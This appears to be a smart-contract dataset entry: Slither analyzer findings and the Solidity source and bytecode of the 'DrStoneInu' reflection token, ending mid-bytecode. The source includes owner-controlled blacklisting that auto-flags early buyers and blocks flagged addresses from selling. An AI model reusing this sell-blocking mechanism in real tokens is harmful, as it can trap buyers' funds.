01b815260040160206040518083038186803b15801561065a57600080fd5b505afa15801561066e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106929190610f73565b6040516370a0823160e01b81526001600160a01b038516906370a08231906106be908d90600401611098565b60206040518083038186803b1580156106d657600080fd5b505afa1580156106ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070e9190610f73565b9063ffffffff610d9b16565b90506000886001600160a01b031663f04da65b896040518263ffffffff1660e01b815260040161074a9190611098565b60206040518083038186803b15801561076257600080fd5b505afa158015610776573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079a9190610f73565b60408501516060860151602087015192935090916001600160a01b0382161561083c576040516398a299e560e01b81526001600160a01b038316906398a299e5906107e9908e90600401611098565b60206040518083038186803b15801561080157600080fd5b505afa158015610815573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108399190610f73565b90505b80600019148061086857508060001914158015610868575080610865868663ffffffff610dc316565b13155b6108845760405162461bcd60e51b81526004016101fd90611160565b6001600160a01b0383166108a45760009950505050505050505050610a66565b60405163060f58c360e01b81526001600160a01b0384169063060f58c3906108d0908e90600401611098565b60206040518083038186803b1580156108e857600080fd5b505afa1580156108fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109209190610f73565b9950505050505050505050610a66565b60405160200161093f9061105a565b60405160208183030381529060405280519060200120811480610985575060405160200161096c90611083565b6040516020818303038152906040528051906020012081145b15610a5f576000856001600160a01b031663ab44a7a36040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c557600080fd5b505afa1580156109d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fd9190610f73565b90506000610a276064610a1b60025485610def90919063ffffffff16565b9063ffffffff610e2916565b9050670de0b6b3a7640000610a42838363ffffffff610dc316565b10610a54576000945050505050610a66565b9350610a6692505050565b6000925050505b92915050565b60046020526000908152604090205481565b6000546001600160a01b03163314610aa85760405162461bcd60e51b81526004016101fd90611197565b600255565b60025481565b6000546001600160a01b03163314610add5760405162461bcd60e51b81526004016101fd90611197565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000806000610b45610e5b565b506001600160a01b03808616600090815260036020818152604092839020835160808101855281548616808252600183015493820193909352600282015486169481019490945290910154909216606082015290610baf5760009350600019925060009150610d93565b6060810151602082015193506001600160a01b03811615610c49576040516398a299e560e01b81526001600160a01b038216906398a299e590610bf6908990600401611098565b60206040518083038186803b158015610c0e57600080fd5b505afa158015610c22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c469190610f73565b93505b836000191415610c5c5760009450610cf5565b60405163f04da65b60e01b8152600195506000906001600160a01b0389169063f04da65b90610c8f908a90600401611098565b60206040518083038186803b158015610ca757600080fd5b505afa158015610cbb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdf9190610f73565b9050610cf1858263ffffffff610d9b16565b9450505b60408201516001600160a01b038116610d115760009350610d90565b60405163060f58c360e01b81526001600160a01b0382169063060f58c390610d3d908a90600401611098565b60206040518083038186803b158015610d5557600080fd5b505afa158015610d69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8d9190610f73565b93505b50505b509250925092565b600082821115610dbd5760405162461bcd60e51b81526004016101fd90611113565b50900390565b600082820183811015610de85760405162461bcd60e51b81526004016101fd906111ba565b9392505050565b600082610dfe57506000610a66565b82820282848281610e0b57fe5b0414610de85760405162461bcd60e51b81526004016101fd906111dd565b6000808211610e4a5760405162461bcd60e51b81526004016101fd906110eb565b818381610e5357fe5b049392505050565b60408051608081018252600080825260208201819052918101829052606081019190915290565b80356001600160a01b0381168114610a6657600080fd5b600060208284031215610eaa578081fd5b610de88383610e82565b60008060408385031215610ec6578081fd5b610ed08484610e82565b9150610edf8460208501610e82565b90509250929050565b600080600080600060a08688031215610eff578081fd5b610f098787610e82565b9450610f188760208801610e82565b935060408601359250610f2e8760608801610e82565b9150610f3d8760808801610e82565b90509295509295909350565b60008060408385031215610f5b578182fd5b610f658484610e82565b946020939093013593505050565b600060208284031215610f84578081fd5b5051919050565b600060208284031215610f9c578081fd5b815167ffffffffffffffff80821115610fb3578283fd5b81840185601f820112610fc4578384fd5b8051925081831115610fd4578384fd5b604051601f8401601f191681016020018381118282101715610ff4578586fd5b60405283815281840160200187101561100b578485fd5b61101c846020830160208501611209565b9695505050505050565b600060208284031215611037578081fd5b5035919050565b60008251611050818460208701611209565b9190910192915050565b68222b2690189718171960b91b815260090190565b670435020312e302e360c41b815260080190565b6844535020312e302e3160b81b815260090190565b6001600160a01b0391909116815260200190565b92151583526020830191909152604082015260600190565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b6020808252600e908201526d2224ab24a224a723afa2a92927a960911b604082015260600190565b60208082526009908201526829aaa12fa2a92927a960b91b604082015260600190565b60208082526010908201526f1113d113d7d25392551250531256915160821b604082015260600190565b6020808252601e908201527f444f444f466565496d706c3a204558434545445f594f55525f51554f54410000604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b60208082526009908201526820a2222fa2a92927a960b91b604082015260600190565b60208082526009908201526826aaa62fa2a92927a960b91b604082015260600190565b90815260200190565b60005b8381101561122457818101518382015260200161120c565b83811115611233576000848401525b5050505056fea26469706673582212207f9a14d7551ad95baf4e54cca64bea135cfd636e4f7134c82ce71b30fabffc3564736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,268 |
0x8063d941c82d5a97acff54b1f4c54fe14963aefb
|
/**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
/**
🎯DR STONE INU🎯
🏹Telegram:- https://t.me/drstoneinu
🏹Website:- Drstoneeth.com
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DrStoneInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 700000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,10,0,10);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 15;
uint256 launchedAt;
uint256 deadBlock;
string private constant _name = "DrStoneInu";
string private constant _symbol = "DrStoneInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x00b5d6090398CB8541D4EBdb3500B6EE00EE4ed6);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_isBuy = true;
if (from != owner() && to != owner()) {
if (block.number <= (launchedAt + deadBlock) &&
to != uniswapV2Pair &&
to != address(uniswapV2Router)
) {
bots[to] = true;
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_isBuy = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getIsBuy() private view returns (bool){
return _isBuy;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _feeAddrWallet);
require(rate<=49);
_feeRate = rate;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading(uint256 db) external onlyOwner() {
require(!tradingOpen,"trading is already open");
require(db <= 1);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(2).div(100);
_maxWalletSize = _tTotal.mul(3).div(100);
tradingOpen = true;
deadBlock = db;
launchedAt = block.number;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address[] memory _bots) public onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){
bots[_bots[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063d16336491461048b578063dd62ed3e146104b457610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104f1565b60405161016791906131ea565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612cf3565b61052e565b6040516101a491906131cf565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612e56565b61054c565b005b3480156101e257600080fd5b506101eb610643565b6040516101f8919061332c565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612d33565b610654565b005b34801561023657600080fd5b50610251600480360381019061024c9190612ca0565b6108b6565b60405161025e91906131cf565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612c06565b61098f565b005b34801561029c57600080fd5b506102a5610a7f565b6040516102b291906133a1565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612dd6565b610a88565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612d7c565b610b01565b005b34801561031957600080fd5b50610334600480360381019061032f9190612dd6565b610bb3565b005b34801561034257600080fd5b5061034b610c8d565b005b34801561035957600080fd5b50610374600480360381019061036f9190612c06565b610cff565b604051610381919061332c565b60405180910390f35b34801561039657600080fd5b5061039f610d50565b005b3480156103ad57600080fd5b506103b6610ea3565b005b3480156103c457600080fd5b506103cd610f5a565b6040516103da9190613101565b60405180910390f35b3480156103ef57600080fd5b506103f8610f83565b60405161040591906131ea565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612cf3565b610fc0565b60405161044291906131cf565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612dd6565b610fde565b005b34801561048057600080fd5b506104896110b8565b005b34801561049757600080fd5b506104b260048036038101906104ad9190612dd6565b611132565b005b3480156104c057600080fd5b506104db60048036038101906104d69190612c60565b611707565b6040516104e8919061332c565b60405180910390f35b60606040518060400160405280600a81526020017f447253746f6e65496e7500000000000000000000000000000000000000000000815250905090565b600061054261053b61178e565b8484611796565b6001905092915050565b61055461178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d89061328c565b60405180910390fd5b600f5483856105f09190613462565b11156105fb57600080fd5b601054818361060a9190613462565b111561061557600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b60006825f273933db5700000905090565b61065c61178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e09061328c565b60405180910390fd5b60005b81518110156108b2573073ffffffffffffffffffffffffffffffffffffffff1682828151811061071f5761071e6136e9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107b35750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610792576107916136e9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108275750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610806576108056136e9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561089f57600160076000848481518110610845576108446136e9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806108aa90613642565b9150506106ec565b5050565b60006108c3848484611961565b610984846108cf61178e565b61097f856040518060600160405280602881526020016139e160289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093561178e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202a9092919063ffffffff16565b611796565b600190509392505050565b61099761178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b9061328c565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ac961178e565b73ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6031811115610af757600080fd5b8060128190555050565b610b0961178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8d9061328c565b60405180910390fd5b80601660176101000a81548160ff02191690831515021790555050565b610bbb61178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f9061328c565b60405180910390fd5b60008111610c5557600080fd5b610c846064610c76836825f273933db570000061208e90919063ffffffff16565b61210990919063ffffffff16565b60178190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cce61178e565b73ffffffffffffffffffffffffffffffffffffffff1614610cee57600080fd5b6000479050610cfc81612153565b50565b6000610d49600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bf565b9050919050565b610d5861178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc9061328c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610eab61178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f9061328c565b60405180910390fd5b6825f273933db57000006017819055506825f273933db5700000601881905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f447253746f6e65496e7500000000000000000000000000000000000000000000815250905090565b6000610fd4610fcd61178e565b8484611961565b6001905092915050565b610fe661178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a9061328c565b60405180910390fd5b6000811161108057600080fd5b6110af60646110a1836825f273933db570000061208e90919063ffffffff16565b61210990919063ffffffff16565b60188190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110f961178e565b73ffffffffffffffffffffffffffffffffffffffff161461111957600080fd5b600061112430610cff565b905061112f8161222d565b50565b61113a61178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111be9061328c565b60405180910390fd5b601660149054906101000a900460ff1615611217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120e9061330c565b60405180910390fd5b600181111561122557600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112b530601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166825f273933db5700000611796565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112fb57600080fd5b505afa15801561130f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113339190612c33565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561139557600080fd5b505afa1580156113a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cd9190612c33565b6040518363ffffffff1660e01b81526004016113ea92919061311c565b602060405180830381600087803b15801561140457600080fd5b505af1158015611418573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143c9190612c33565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306114c530610cff565b6000806114d0610f5a565b426040518863ffffffff1660e01b81526004016114f29695949392919061316e565b6060604051808303818588803b15801561150b57600080fd5b505af115801561151f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115449190612e03565b50505060016016806101000a81548160ff0219169083151502179055506001601660176101000a81548160ff0219169083151502179055506115ac606461159e60026825f273933db570000061208e90919063ffffffff16565b61210990919063ffffffff16565b6017819055506115e260646115d460036825f273933db570000061208e90919063ffffffff16565b61210990919063ffffffff16565b6018819055506001601660146101000a81548160ff0219169083151502179055508160148190555043601381905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016116b0929190613145565b602060405180830381600087803b1580156116ca57600080fd5b505af11580156116de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117029190612da9565b505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611806576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fd906132ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186d9061322c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611954919061332c565b60405180910390a3505050565b600081116119a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199b906132ac565b60405180910390fd5b6001601660186101000a81548160ff0219169083151502179055506119c7610f5a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a355750611a05610f5a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561201a57601454601354611a4a9190613462